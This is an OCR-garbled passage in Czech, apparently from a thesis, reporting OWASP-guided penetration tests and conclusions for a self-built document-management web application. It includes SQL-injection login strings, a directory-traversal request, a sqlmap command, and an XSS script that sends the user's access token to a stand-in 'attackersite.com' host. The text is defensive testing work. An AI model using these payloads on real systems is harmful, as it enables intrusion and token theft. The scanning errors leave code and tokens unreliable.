ehTBrxWLxWFIYAD@RjnbriTepcT1s1nAcB2vkSrtNRNsm8fMYDEz16v]_33bTIAxySqkWEYN3dgHGEJICtEPIVEW3I6L cBKPRINZEaT7NySc
GunHINYbr6265AvfP34wasSduDjEbo81GpdAUL7oIAnpsIp_Geld-
vPdoHfleFzBI8r@QzoBLNNTYv3IUalr_SVtAW1SMrfgbQihQBbLPaX1NeOwPPYEjTGk17I1rYeb8lg"

Obrazek 122: OTG-AUTHN-004

S falesnym pfistupovym tokenem na obrazku 122 ulozenym v sessionStorage bylo
otestovano, ze aplikace neumozni pfejit na stranku docmanager.com/index.html, ktera
vyzaduje autentizaci. Pfed nactenim dokumentu je poslana zadost na server, zda je tento token
validni, proto timto zptisobem nelze obejit autentizacni schéma. Bylo otestovano, ze nelze
obejit autentiza¢ni schéma pomoci utoku SQL injection prostiednictvim testu OTG-INPVAL-

005. Nebyly nalezeny zadné nedostatky.

Testovani zranitelné cache prohliZece (OTG-AUTHN-006)

Byla sp&$né otestovano, Ze neni mozné nacist zpétné informace o prihlaseni a jinych
podobnych citlivych datech (napiiklad email po loginu, hesla). Testem bylo vlozeni
senzitivnich informaci (email, heslo) do aplikace a ndsledovalo odhlaseni. Po odhlaSeni bylo
zkontrolovano, ze pies tlacitko zpét se nelze dostat k predchozim strankdm. Nebyl umoznén
pfistup na danou stranku ptes tlacitko zpét. Bylo zkontrolovano, Ze se do cache prohliZzece

neukladaji zadna citliva data. Nebyly nalezeny zadné nedostatky.

Testovani politiky slabého hesla (OTG-AUTHN-007)

Bylo otestovano, Ze je vyzadovano minimalné 8 znakt dlouhé heslo, jeden specialni
znak, velké a malé pismeno a Cislice. Bylo zjisténo, Ze aplikace umoziiuje provést operaci
zmény hesla v libovolnou dobu. Neni implementovana nucend zména hesla v danych
Casovych intervalech. Podafilo se usp&$né nastavit predchozi zménéné heslo pfi tieti zadosti o
zménu heslu. Neni tedy udrzovana historie osmi hesel. Bylo potvrzeno, Ze pfi tvorbé nového

hesla nesmi byt heslo totoZzné.

Testovani slabého mechanismus zmény hesla nebo resetovacich funkcionalit (OTG-
AUTHN-009)
Bylo otestovano, ze uzivatel bez role admin nemiize zménit heslo ostatnim uzivateliim.
Bylo zachyceno JWT, dekddovano a byla zménéna polozka username, kam bylo vlozeno
uzivatelské jméno uzivatele, kterému bylo cilem zménit heslo. JWT byl opét podepsan a
poslan na server. Server vratil chybu INVALID_TOKEN. Funkcionalita zmény hesla
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nepozaduje zddnou specidlni otdzku od uzivatele, ale pozaduje od uzivatele jeho staré heslo.
Heslo musi dodrzovat politiku popsanou v testu OTG-AUTHN-007. Bylo potvrzeno, ze
funkcionalita zmény hesla neni zranitelnd vici utoku CSRF, protoze nejsou pouzivany

cookies. Nebyly nalezeny nedostatky.

4.5 — Testovani autorizace (OTG-AUTHZ)
Testovani Directory traversal (OTG-AUTHZ-001)

Po uspésném piihlaseni stranka funguje jako Single-Page Application, nedochazi tedy

K piepinani stranek jako je ukazano na obrazku 123.

GET http://docmanager.com/show.asp?view=index.html HTTP/1.1
Host: docmanager.com

Obrazek 123: Potencionadlné nebezpecné prepinani stranek

Byl testovan piikaz na obrazku 124. kde byla vracena chyba 403 webovym serverem.

Nebyly nalezeny zddné nedostatky.

GET https://docmanager.com/scripts/..%5c.. /Mindows/System32/cmd. exe?/c+dir+c:y HTTP/1.1

Obrazek 124: OTG-AUTHZ-001

Testovani obchazeni autoriza¢niho schématu (OTG-AUTHZ-002)
Byly postupné otestovany vSechny end-pointy poskytnuté serverem. Bylo otestovano,
Ze neautentizovany uzivatel nemuize ptistoupit k chranénému end-pointu. Byla odesléana

zadost bez hlavi¢ky Bearer. VSechny chranéné end-pointy vratily odpoveéd’ zobrazenou na

obrazku 125.
k

“error”: “unauthorized”,
"error_description”: "An Authentication object was not found in the SecurityContext”

Obrazek 125: OTG-AUTHZ-002, prvni cast

Bylo ovéteno, ze pii pouziti ndhodného fetézce misto validniho ptistupového tokenu

dochazi k vraceni chybového hlaseni zobrazeného na obrazku 126.

66



"error": "invalid_token”,
"error_description”: "Cannot convert access token to JSON"

H

Obrdazek 126: OTG-AUTHZ-002, druha cast

Bylo otestovano, ze nelze ptistoupit k chranénym end-pointim pomoci pfistupového
tokenu, kterému vyprsela zivotnost. Server vratil u vsech chranénych end-pointt nasledujici

odpovéd’ se statusem 401.

1
"error": "invalid token”,
"error_description”: "Access token expired:
eyJhbGci0iJSUzIINiIsInRScCIATkpXVCI9. ey]1eHATIOFEINFg3MIYxMiMsInVZzZXIFbmFtZSI6InBhdHIpa2lhenlza2 FAZ21haluuY29tTiwiYXVBaGoya
XRpZXMi01lsiUk9MRVIVURVSI10sImp@aSI6IjUyH2FiMThiLWNINmItNDEZMS@4ZiM3LWIZZDIAYZE2Mzc@ZiTIsImNsaWVudFIpZCI6ImLSLIWNSaWVudCIsInM
jb3B1IjpbIn]lYWQiLCI3cml@ZSIsInRydXN@I119.
N13ZavHItmgi82Yb81tlce5TszawIP6jRFLIF1iuCwdTI68Q8srLNZN5N-u2s55UQWScraM2s3CaVxHd LohjUzxwufKy IN1wiXEVMhgpthZTaadBYz0X0oxS57ZhH
yal5qlQIXszVbopcI-a0Di0T7pul LK7HSTr1TGuwgYVAYSmXZFXEWEUSVTSHX@zZd4T9eTi0O5afdolutSjdx0e7eapyZ7PifXcrRpilgl -GpOglj@iRDo3FVzelC
| yGhxeMwa7k5150quYdRdodeW7xNsxx5powl JMAx6yoU7Do9MawAQLSwnx_pw_NJ85IxHet9G5ES3Y1ILEtoMrsLgFD90715dIRg"
h

Obrazek 127: OTG-AUTHZ-002, treti cast

Bylo otestovano, ze uzivatel s nedostatecnou roli, nemuze ptistoupit k chranénym end-
pointiim, ke kterym by nemé&l mit pfistup. VSechny tyto end-pointy vratily chybu na obrazku
128.

“error": "access _denied”,
“error_description”: “Pr&iacute;stup odepfen”

Obrazek 128: OTG-AUTHZ-002, ctvrta cast

Bylo ovéteno, ze pravé odhlaseny uzivatel nema piistup k casti aplikace, kde je

vyzadovana autentizace. Nebyly nalezeny Zadné nedostatky.

Testovani eskalace privilegii (OTG-AUTHZ-003)

Cilem testu byla zména hodnot username a authorities v JWT tokenu. Vefejny i
privatni kli¢ jsou v ptipad¢ této aplikace nevetejné. Privatni kli¢ je pouzivan autoriza¢nim
serverem, veiejny kli¢ je pouzivan resource serverem. Aby mohlo dojit ke zmén¢ informaci
v JWT tokenu, musel by uto¢nik odchytit JWT, dekdédovat, zménit informace v JWT, podepsat
pomoci stejného privatniho klice a poslat na server. Tato situace neni mozna za ptredpokladu,
ze nedojde k odcizeni privatniho klice.

Bylo otestovano, Ze neni mozné pouzit JWT se zménénymi tdaji podepsanym jinym
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privatnim kli¢em. Byl zachycen a dekddovan puvodni JWT token poslany serverem. Byla
zménéna polozka authorities v JWT, kde misto ROLE_USER bylo vlozeno ROLE_ADMIN.
Zbytek JWT tokenu ziistal nedotéeny. Tento token byl podepsany pomoci stejného algoritmu,
ale jinym vygenerovanym privatnim kli¢em. Po ptidani tohoto JWT k Zzadosti, server vratil

nasledujici odpovéd’ se statusem 401. Nebyly nalezeny zadné nedostatky.

"error”: "invalid token”,
"error_description”: "Cannot convert access token to JSON”

Obrazek 129: OTG-AUTHZ-003

Testovani primych nezabezpecenych referenci na objekty (OTG-AUTHZ-004)

Bylo ovéieno, Ze v bod¢ /documents/[id dokumentu] neni umoznén piistup
k dokumentu uzivateli s nedostatecnym opravnénim. Testovani bylo provedeno tak, ze
uzivatel, ktery by nemél mit pfistup k danému dokumentu, se pokusil ziskat neopravnéné
ptistup k dokumentu. Byla poslana zadost na /documents/64 uzivatelem, ktery by nemél mit

pfistup k danému dokumentu. Vysledna odpovéd’ serveru je zaznamenana na obrazku 130.

1 A

2 “timestamp”: "2019-09-17T714:04:26.763+0600",

3 "status": 500,

4 "error”: "Internal Server Error",

5 "message”: "Document was not found or you do not have access to this document,”,
B "path™: "/documents/64"

-

Obrazek 130: OTG-AUTHZ-004, prvni cast

Pomoci end-pointu documents/owner/[id dokument] bylo otestovano, ze uzivatel, ktery
ma roli DOCUMENT_CREATOR, ale dany dokument nevytvofil, nema ptistup k danému

dokumentu.

“timestamp"”: "2019-89-17T14:47:47.876+8000",
"status": 480,

"errcr": "Bad Request",
"message”: "You do not have access to this document.”,
"path™: "/documents/owner/64"

Obrazek 131: OTG-AUTHZ-004, druha cast
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V aplikaci se nachazi dalsi podobné end-pointy, které byly podobnym zpiisobem také
ovéteny. Jedna se o end-pointy /documents/[id dokumentu] metodou DELETE a /users/[id

uzivatele] metodou DELETE. Nebyly nalezeny zadné nedostatky.

4.6 — Testovani Fizeni relace (OTG-SESS)

Tento soubor testil nebyl provadén, protoze je vyuzivan Oauth?2.

4.7 - Testovani validace vstupu (OTG-INPVAL)

Testovani Reflected XSS (OTG-INPVAL-001) a Stored XSS (OTG-INPVAL-002)

K testovani XSS byl pouzit nastroj OWASP ZAP, pomoci kterého byly zachyceny
vSechny zadosti, které aplikace posilala. Tyto zachycené zadosti byly pouzity k fuzz Gtoktim.
Retézce, které byly pouzity k provedeni testu, lze nalézt v dokumentu xss_payload.txt na
DVD. Timto zpusobem doslo i k otestovani vSech inputi v aplikaci.

Vysledek testu poukazal, Ze aplikace je vii¢i XSS resistentni. Bylo otestovano, Ze jsou

spravné zaménované nebezpecné znaky za HTML entity.

Testovani manipulace s HT TP protokolem (OTG-INPVAL-003)

Bylo otestovano, ze webovy server povoluje pouze metody GET a POST. Byly tedy
jednotlivé poslany zadosti OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE a
CONNECT. Byly vraceny chyby webovym serverem na vVSechny poslané metody kromé¢ GET
a POST.

Stejny test byl proveden na REST serveru. Bylo otestovano, Zze metody HEAD,
TRACE, CONNECT jsou zakazany. Metody OPTIONS, GET, POST, PUT, DELETE jsou
povoleny. REST server potiebuje k vyfizeni pfedbéznych zadosti mit povolenou metodu
OPTIONS. Metody PUT a DELETE jsou nutné ke spravné funkcionalité aplikace. Nebyly

nalezeny Zadné nedostatky.

Testovani znec¢isténi HTTP parametra (OTG-INPVAL-004)

Byly poslany celkem tfi HTTP Zadosti na kazdy z testovanych end-pointl. Nejdiive
byla poslana zadost se standartnimi parametry a jejich hodnotami (naptiklad
documents/history?year=2019&month=9). Odchycena Zzadost byla modifikovana tak, ze se
ptidal pozménény parametr nasledujicim zptasobem (documents/history?year=TMP1&month
=TMP2). Nasledné se odeslala tieti zadost, ktera kombinovala oba piedchozi testy (documen

ts/history?year=2019&month=8&year=TMP1&month=TMP2). Byly porovnany jednotlivé
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odpovédi. Pokud by odpovéd z tfetiho zadosti byla odlisnd od odpovédi z prvni zadosti a
odpoveéd’ z tieti zadosti by byla také odlisnd od odpoveédi z druhé zadosti, mohla by byt
aplikace zneuzita. Timto zpisobem byly otestovany vSechny existujici HTTP parametry v
aplikaci. Na obrazku ¢islo 132 je zobrazena odpoveéd’ z druhé a tieti zadosti. Nebyly nalezeny
z4dné nedostatky.

1 :"2019-89-23T10:20:08.317+0000", 14188, :"Bad Request™,
"Year or month are not in the correct format."”, :"fdocuments/history™}

Obrazek 132: OTG-INPVAL-005

Testovani SQL injection (OTG-INPVAL-005)

Bylo otestovano, Ze neni mozné se piihlasit bez znalosti hesla, ptipadné bez znalosti
ptihlaSovaciho jména a hesla.

Na end-pointu /oauth/token byla zkousSena nasledujici data.

- password="or '1'="1'&username=test@seznam.cz&grant_type=password

- password=1'or '1' = '1&username=1' or '1' = '1&grant_type=password

K ptihlasovaci strance byly provedeny jesté dodate¢né testy pomoci nastroje OWASP
ZAP. Zbylé testy byly provedeny pomoci néstroje sqlmap s piikazem zobrazenym na
obrazku 133.

sqlmap.py -u "http://192.168.0.161:8080/documents/all?yvear=2019&month=8" --

headers="Authorization: Bearer

eyJhbGeiOiJSUZIINIISInRScCI6TkpXVCI9.eyT 1 c2VyX25hbWUIOIJOZXNOQHNlemShbS5
jeilsImF 1dGhveml0aWVzIjpbIlJPTEVFQURNSU4ILCISTOxFX 1 VTR VIiXSwianRpljoiZm
Y4YWQ3ZWEtMzc00S00MGU3LTgONzAtODISZTg4ZmFhMDY 3TiwiY2xpZW50X21kIj
0ibXktY2xpZW50Iiwic2NveGUIOlsicmVhZCIsIndyaXRITiwidHI 1 e3QiXX0.W_ MEO05ssQ
ghpt6GpTv_ FjECINICXscpIMIY3uiRkINOtVbA3bcTgh71PsIWIoJCeSTYbLy0TOM9rKm
LHIAMKoNDO0XzOsIeBOIL5{zHFEZ-riQVMOfT 7bF4g6m-V-Ok-z8D7BgXwlqg-og-
BKeKbkXHnutMsJrrgSSdE3Xh-

Jh 9OWGOsmRQzdeQmolbd2L aXjnmrWyeDWNhTY 7IqgKBBbnAVrtbmGdZuMv93zRQeh
TtixKm3ik2mAkzD 1b5CdMqg_SIVOQ{Dd 1 DSongMcXMmUpDfLyORQzorxWGy9bpjr81
ergcYJHD8koR3ip|BVbHtzGENVuSYXgI3Kwkn292YUHmvg" --dbs --dbms=MySQL, --
level=5 --risk=3 --user-agent=SQLMAP --flush-session -t scan_trace6.txt

Obrazek 133: sqlmap prikaz
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Timto zplisobem byly otestovany vSechny existujici parametry v aplikaci. Testovani
neprozradilo zadné nedostatky vii¢i utoku SQL injection. Vysledky lze nalézt ve slozce
sgl_injection na DVD. Nachazi se zde celkem tii soubory. Soubor out.txt obsahuje kratsi popis,
jaké vSechny testy byly provadény a celkové vysledky testovani kazdého end-pointu. Soubor
oauth_token.csv obsahuje dalsi poslané uto¢né fetézce na endpoint /oauth/token. Soubor
trace.txt obsahuje odeslané Zadosti s itoCnymi fetézci. Do souboru trace.txt se nepodaiilo
nahrat vSechny odeslané Zadosti, protoze testy nékterych end-pointl poslaly velké mnozstvi
zadosti a vysledné soubory dosahovaly velikosti nékolika GB. Byly tedy pfidany do

zavérecného dokumentu pouze zadosti testd, které mély ptijatelnou velikost (v MB).

|=| scan_tracel. bt 24.09.2019 12:59 Textovy dokument 22702 kB
|=| scan_traced.tt 24,09.2019 14:04 Textowvy dokurnent 2 436 796 kB
|=| scan_traces.tbdt 24,09,2019 13:43 Textowvy dokurnent 1257 140 kB
|=| scan_traceb.tdt 24,09.2019 14:16 Textowy dokurnent 2 436 503 kB
|=| scan_trace7.bd 24.09.2019 13:56 Textowvy dokument 26 571 kB
|=| scan_tracel.tet 24.09.2019 20:04 Textovy dokument 45121 kB
|=| scan_traceb.bdt 24,09,2019 12:23 Textowy dokurnent 70997 kB
|=| scan_tracel0.bt 24,09.2019 13:06 Textowy dokurnent 75 436 kB
|=| scan_tracell.bd 24.09.2019 14:23 Textowy dokurnent 0 kB
|=| scan_tracel2 bt 25.09.2019 7:03 Textovy dokument 6736 214 kB
|=| scan_tracel3.bt 25.09.2019 705 Textowy dokurnent & 741 028 kB
|=| scan_tracel7.bt 24,09,.2019 15:39 Textowvy dokurnent 24 386 kB
|=| scan_tracel8.bt 24,09.2019 27:04 Textowy dokurnent 37197 kB

Obrazek 134: Velikosti vyslednych souborii s Zadostmi

Testovani ORM injection (OTG-INPVAL-007)

Byl prozkouman kod, zda dochazi k pouzivani parametrizovanych dotazli a spravné
kontrole piichozich dat. Je pouzivan whitelist, kterym je definovano, jaké znaky se mohou
vyskytnout v ptichozich datech. Nejsou povoleny znaky, které by mohly vést k tomuto typu

utoku.

Testovani skrytych zranitelnosti (OTG-INPVAL-015)

Byl nahran dokument s popisem, ktery by mél poskodit uzivatele. Byl pouzit k testu
script na obrazku 135 pfi tvorbé dokumentu v aplikaci. K funkénosti tohoto scriptu bylo
zapotiebi vytvofit novou aplikaci, kterd bude schopna reagovat na dané¢ URL a ziskat z n¢ho

hodnotu ptistupového tokenu.
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Description

<script>document.write('<img
src="http://attackersite.com:8080/cv.jpg? +sessionStorage.access _token+">
")</script=

Obrdzek 135: Utocny script

Cilem tohoto utoku je zmocnit se uzivatelova piistupového tokenu. Jakmile by Gto¢nik
obdrzel timto zptisobem pfistupovy token, mohl by pfistupovat k chranénym end-pointim
pomoci tohoto tokenu jakozto uzivatel, kterému byl ukraden token. Po ulozeni dokumentu
s nebezpecnym popisem, se piihlasil uzivatel do aplikace, se kterym byl dokument sdilen a
tento dokument byl otevien. Tento script ale nebyl vykonan diky obrané proti XSS. Podobné
utoky lze provést i pomoci SQL injection. Aplikace je ale resistentni vici tomuto utoku.

Nebyly nalezeny zadné nedostatky.

Testovani HTTP Splitting/Smuggling (OTG-INPVAL-016)
Neni umoznéno Zadné presmérovani v rdmci aplikace. Nikde nezavisi cilové URL na

uzivatelské. Tento typ utokti neni mozny.

4.8 — Testovani, jak aplikace pracuje s chybami (OTG-ERR)

Testovani chyb (OTG-ERR-001)

Byly poslany Zadosti na vSechny end-pointy za G¢elem vraceni chyb 404, 400, 405,
408 a 501 serverem. Ve vSech pfipadech nebyla vracena chybova hlaSeni, kterd by mohla
uto¢nikovi néco prozradit o aplikaci. Bylo testovano, jaka chyba je vracena v piipade, kdyz se
server nemuze Spojit s databazi. Vracenou chybu lze vidét na obrazku c¢islo 136. Server

nevratil informace o pouzivaném frameworku nebo typu RDBMS.

“"timestamp”: "20819-89-21T1€:35:56.122+000Q",
"message”: "Could not get datal! Try it again later!”,
“details": "wri=/documents”

Obrdzek 136: OTG-ERR-001
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Stejnym zptisobem byl otestovan i webovy server. V kapitole 3.4 1ze vidét nastavenou

vlastni HTML stranku v reakci na chyby. Nebyly nalezeny zadné nedostatky.

Testovani Stack Traces (OTG-ERR-002)
Byly poslany Zadosti na vSechny end-pointy s neplatnymi vstupy. Byl poslan vstup,
ktery obsahuje specialni znaky, prazdné vstupy a pfilis dlouhé fetézce. Server nikde neposlal

odpoveéd’ obsahujici Stack Traces. Nebyly nalezeny zadné nedostatky.

4.9 - Testovani slabé kryptografie (OTG-CRYPST)

Testovanich slabych SSL/TLS Sifer, nedostatena ochrana transportni vrstvy
(OTG-CRYPST-001)
Bylo zkontrolovano, ze ptihlasovaci udaje jsou prenaseny Sifrované (test OTG-
AUTHN-001).
Bylo otestovano kryptografické nastaveni webového serveru 11S i REST serveru.
K testovani byl pouzit nastroj testssl.sh. Vysledek celého testu lze nalézt v souboru
ssl_test.txt. Bylo prokazano, Ze jsou zakazané protokoly nizs§i nez TLS1.2, jsou povolené
pouze silné $ifry (tyto Sifry 1ze nalézt v souboru ssl_test.txt), je pouzivano tazeni Sifer (viz
ssl_test.txt). Velikost kli¢e certifikatu je RSA 2048 bitt a je pouzivan silny podepisovaci
algoritmus SHA256 s RSA.
Test poukdzal na potencionalni nedostatek, ktery souvisi s pouzivanim certifikatu samo
sebou podepsaného. Pouziti tohoto certifikatu neni pro aplikaci bezpe¢nostni hrozbou, protoze

je validni.

Testovani, zda aplikace posila citliva data pouze pres neSifrované kanaly (OTG-
CRYPST-003)

Bylo otestovédno, ze neni pouzivan pro pfenasSeni prihlasovacich tidaji mechanismus

Basic Authentization. Bylo prokézano, Ze udaje pfenaSené z autentizacnich formuldit se

neodesilaji ptes HTTP. Bylo ovéfeno, ze pfistupovy token je pfendSen v hlavicce

Authorization: Bearer a vzdy pomoci HTTPS.

4.10 - Testovani business logiky (OTG-BUSLOGIC)
Testovani validace logickych business dat (OTG-BUSLOGIC-01)

Bylo otestovano, Ze pouze validni hodnoty jsou akceptovany aplikaci. Byly ovéfeno,

ze vSechny proménné odmitaji logicky nevalidni data. Nebyly nalezeny Zadné nedostatky.
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Testovani integrity dat (OTG-BUSLOGIC-003)

Musely byt identifkovany ¢asti aplikace, které se staraji o praci s daty. Bylo testovano,
jak aplikace reaguje, pokud dojde k vlozeni, aktualizaci nebo smazani dat v kazdé
identifikované komponent¢ uzivatelem, ktery by nemél mit k tomuto ukonu pravo. Nebyly

nalezeny zadné nedostatky.

Testovani ¢asovani procesu (OTG-BUSLOGIC-004)

Nebyly nalezeny zadné predvidatelné operace v této aplikaci.

Testovani, zda funkce mohou byt pouZivané nad limit (OTG-BUSLOGIC-005)

Neni nijak limitovano, kolikrat mize dana funkce byt vykonévana v ¢ase.

Testovani obchazeni pracovniho toku (OTG-BUSLOGIC-006)

Byl otestovan chod transakce ukladani dokumentu. Byl vytvoien dokument, ale nebylo
umoznéno ulozeni informaci o dokumentu do databaze. Tato situace vyvolala spravné vraceni
piedchozich reakci. Podobné situace byly otestovany i pro skupiny, uzivatele a dalsi operace

s dokumenty. Nebyly nalezeny zadné nedostatky.

Testovani obrannych mechanismi proti nespravnému pouziti aplikace (OTG-
BUSLOGIC-007)

Byly testovany obranné mechanismy proti nespravnému pouziti aplikace. Bylo
otestovano, Ze vstup, ktery obsahoval zakdzané znaky nebo parametry navic, byl zamitnut
serverem. Bylo otestovano, ze aplikace vraci chybu, pokud dojde k zaméné GET na POST a
pokud je vlozen znak ‘ misto validniho ID dokumentu. Byl také duplikovan parametr zadosti
lusers/finds?email=Maryska&email=Jans. V tomto piipad¢ nebyla vracena chyba, ale nebyl
vracen ani zadny vysledek. Bylo ovéfeno, Ze dochdzi ke spravnému zamknuti IP adresy po
péti netspéSnych pokusech o ptihlaseni viz test OTG-AUTHN-003. Nebyly nalezeny zadné
nedostatky.

Testovani nahrani neoc¢ekavanych souboru (OTG-BUSLOGIC-008)
Testem bylo nahrani nepodporovaného typu souboru a ujistit se, ze neni aplikaci
akceptovany. Byl nahran soubor typu EXE, ktery neni podporovan aplikaci. Byla vracena

chyba 422 se zpravou ,, File is not valid .pdf file “. Nebyly nalezeny Zadné nedostatky.
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Testovani nahrani souboru §kodlivého souboru (OTG-BUSLOGIC-009)
Byla posldna zadost se souborem, ktery mél platnou koncovku (PDF), ale nejednalo se
0 PDF soubor. Byl odeslan soubor SVG s koncovkou PDF. Tato zadost byla odmitnuta

serverem.

{ :"2019-09-28T11:44:15.055+8000", 1422, :"Unprocessable Entity”, :"File is not valid .pdf file.™, :"/documents™}

Obrdazek 137: OTG-BUSLOGIC-009

Byl poslan soubor PDF, ktery obsahoval $kodlivy javascriptovy kod. V tomto bodé

nedoslo k rozpoznani skodlivého PDF souboru a doslo k uloZeni na disk.

4.11 - Testovani klientské strany (OTG-CLIENT)
Testovani DOM based XSS (OTG-CLIENT-001)

Byla provedena kontrola kodu a nebyly nalezeny Zadné mozné atoky pomoci utoku
DOM based XSS.

Testovani javascript zranitelnosti (OTG-CLIENT-002)

Nebyly objeveny Zadné takové zranitelnosti.

Testovani HTML injection (OTG-CLIENT-003)
Bylo ovéteno, Ze neni uzivateli umoznéno zadnym zpusobem zasahovat do HTML

kodu aplikace.

Testovani URL piesmérovani na klientské strané (OTG-CLIENT-004)
Neni umozné€no piesmérovani v zadné casti aplikace. Nebyly nalezeny zadné

nedostatky.

Testovani CSS injection (OTG-CLIENT-005)

Bylo ovéteno, Ze neni uzivateli umoznéno nijak zasahovat do CSS styla.

Testovani manipulace se zdroji na klientské strané (OTG-CLIENT-006)
Nebyly nalezeny zadné body, kde by mohlo dojit k tomuto typu utoku.
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Testovani CORS (OTG-CLIENT-007)

Bylo testovano, jakym zptisobem je pouzivano CORS. Bylo zkouméno, zda hlavicka
Access-Control-Allow-Origin neni nastavena na hodntou *. Nastaveni je v potadku, protoze
pouze povolena adresa je https://docmanager.com.

Access-Control-Allow-Origin: https://docmanager.com

Access-Control-Max-Age: 3608

Obrdazek 138: OTG-CLIENT-007

Testovani Clickjacking (OTG-CLIENT-009)

Bylo testovano, zda by aplikace mohla byt nahrdna na jiny web pomoci HTML
elementu iframe. Byl vytvofen novy webovy server s HTML kodem zobrazenym na obrazku
139 umisténym v body elementu HTML stranky. Bylo otestovano, Ze se testovand stranka
neobjevi v elementu iframe na noveé vytvotrené strance. Stranka se neobjevila. Nebyly nalezeny
zadné nedostatky.

<div class="container">
<div class="content" id="main_content">»
<p>Website vulnereable to clickjacking</p>
<iframe src="https://docmanager.com” width="580" height="580"></iframe>

</divy>

Obrdazek 139: OTG-CLIENT-009

Testovani lokalniho ulozisté (OTG-CLIENT-012)
Na obrazku 140 Ize vidét, ze je pouzivano lokalni tlozisté k ukladani obnovovaciho a

pfistupového tokenu.

Key Value
access_token ey)hbGciOiSUzITNilsInRScClblkpXVCI9.eylic2...
refresh_token eylhbGciOUSUzITNilsInR5cClblkpXVCI9.ey)1c2...

Obrazek 140: Obsah sessionStorage

Ob¢ dvé proménné jsou z hlediska bezpecnosti velmi kritické. Ukradeni téchto udaji
z ulozist¢ miize nastat pomoci utoku XSS, proti kterému je aplikace resistentni dle
predchozich testli nebo tim, ze se Uto¢nik dostane k t¢émto hodnotam tak, Zze se uZivatel
neodhlasi. Bylo otestovdno, ze po uzavieni okna ¢i browseru nejsou hodnoty tokenil

uchovéavany v tlozisti. Nebyly nalezeny zadné nedostatky.
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Dodatecné testy zaméfené na REST server byly testovany s pomoci OWASP REST

vvvvvv

provadény.

JWT (REST-JWT)
Bylo otestovano, ze JWT pouziva silny algoritmus a to RS256. Bylo ovéieno, Z¢ je
pouzivan podpis na JWT. Bylo ovéfeno, ze server odmitne zfalSovany JWT token. Nebyly

nalezeny zadné nedostatky.

"alg”: "RS256",
“typ" TJWT

[—

Obrazek 141: PouZity algoritmus u tokenii

Validace content-type Zadosti (REST-CONTENT_TYPE)
Bylo otestovano, Ze jsou vraceny na neo¢ekavané zadosti (nepodporovany, chybéjici

content-type hlavicka) 406 nebo 415 chyby. Nebyly nalezeny zadné nedostatky.

Audit logy (REST-LOGS)
Je podporovano logovani udalosti definovanych v kapitole 2.2.10. Bylo zjisténo, ze

neni podporovéano logovani neuspéSnych validaci ptistupového tokenu.

Citlivé informace v HTTP Zadostech (REST-SENSITIVE_DATA_HTTP)
Bylo ovéteno, Ze aplikace se nikde se nevyskytuji hesla, pfistupové tokeny a jina citliva

data v URL. Nebyly nalezeny zadné nedostatky.

Vlastni testy
Zivotnost piistupového a obnovovaciho tokenu (MY_Lifetime AT RT)

Bylo otestovano, ze uzivatel nemuze pfistoupit k chranénym zdrojim po uplynuti
zivotnosti daného ptistupového tokenu. Bylo ovéfeno, Ze neni mozné obnovit piistupovy

token po uplynuti Zivotnosti obnovovaciho tokenu. Nebyly nalezeny z4dné nedostatky.

Odhlaseni (MY _logout)

Bylo otestovano, ze po kliknuti na tlacitko, které zplisobi odhlaseni uzivatele, dojde ke
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smazani lokalniho ulozisté a je poslana zprava na server. Nebyly nalezeny zadné nedostatky.

4.12 Vysledky testi
Test OTG-AUTHN-007 prokazal nedostatky. Sila hesla je naprosto dostatec¢na, ale

celkova politika hesla neni optimalni. M¢la by byt implementovana zména hesla v néjakych
Casovych intervalech. Piikladem muze byt nucend zména hesla kazdé tii mésice, ¢imz by se
sila politiky hesla zvysila. V aplikaci je sice zména hesla implementovana, ale nucena neni. Je
kontrolovano pii zméné€ hesla, zda uzivatelovo nové chténé heslo neni totozné s aktualnim
heslem, ale neni udrzovana historie hesel, takze Si uzivatel miZze po poslani nékolika Zadosti
za sebou op¢t nastavit své staré heslo.

Test OTG-INFO-008 odhalil, jaké technologie jsou na frontendu pouzivané. Po
prohlidnuti kédu bylo identifikovano, Ze se jedna o framework jQuery verze 3.4.1. Tento
nedostatek je nefeSitelny, protoze soubor obsahujici jQuery je veifejné ptistupny.

Test OTG-BUSLOGIC-009 prokazal nedostatky pti nahravani soubort. Prvni ¢ast testu
probéhla tspésné. Byl odeslan soubor typu SVG s koncovkou PDF, ktery byl odmitnut
serverem. Druha Cast testu se tykala nahrani souboru typu PDF, ktery obsahoval $kodlivy
javascriptovy kod. Server tento soubor pfijal a ulozil na disk. Tento problém neni chybou
aplikace, ale spiSe chybou antivirového programu, ktery nebyl schopen rozeznat Skodlivy
soubor typu PDF. Resenim tohoto problému by bylo pouZiti lepsiho antivirového programu.

Test, ktery také prokazal nedostatky je REST-LOGS. Aplikace nemd implementovanou
funkcionalitu logovani neuspésnych validaci pfistupového tokenu.

Vsechny ostatni provedené testy neprokazaly zadné jiné nedostatky aplikace.
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5. Zavér

Byla uspésn¢ implementovéana aplikace pro fizeni vnitropodnikové dokumentace dle
popisu Vv kapitole 1.1. Byly uspé$né¢ implementovany ruzné bezpe¢nostni mechanismy na
serveru i frontendu. Dulezitou soucasti procesu zabezpeCeni aplikace byla bezpecna
konfigurace webového serveru IS.

Framework Spring Boot se prokédzal jako velmi dobry nastroj pii implementaci
bezpecnostnich mechanismi. Spring Boot ma nékteré bezpetnostni mechanismy
prednastavené, napiiklad zakladni bezpe¢nostni hlavicky. Pomoci anotaci 1ze velmi snadno
nastavovat riazné bezpecnostni mechanismy a kontrolovat validitu ptichozich dat. Velmi
snadna je preména dat ve formatu JSON na Java objekt. Tato transformace je provadéna
frameworkem automaticky.

Dle provedenych penetracnich testll se jevi, Ze je aplikace dobie zabezpecena. Dle
dokumentu OWASP Top 10 z roku 2017 je nejvice kritickym bezpecnostnim rizikem ttok
injection [6]. Aplikace je vuci tomuto typu utoku dle provedenych testd resistentni. Druhym
nejveétsim rizikem je prolomeni autentizaéniho schématu. Provedené testy z kapitoly OTG-
AUTHN neodhalily témét zadné nedostatky. Velmi ¢astym bezpec¢nostnim rizikem je obejiti
autoriza¢niho schématu. Provedené testy z kategorie OTG-AUTHZ také neodhalily zadné
nedostatky.

Penetrani testy prokazaly, Ze aplikace obsahuje také néjaké bezpecnostni nedostatky.
Pomoci testt byly nalezeny nedostatky jako ulozeni souboru typu PDF obsahujiciho Skodlivy
kod na disk, chybéjici logovani netispésné validace tokent a slaba politika hesla. Prvni dva
zminéné nedostatky jsou velmi snadno feSitelné. Nedostatek tykajici se hesla je z hlediska
by feSila historii hesel a musela by byt implementovana funkcionalita nucené zmény hesla
v n¢jakych ¢asovych intervalech.

Autor je presvédCen, ze aplikace je pouzitelna v praxi za piedpokladu, ze by byla
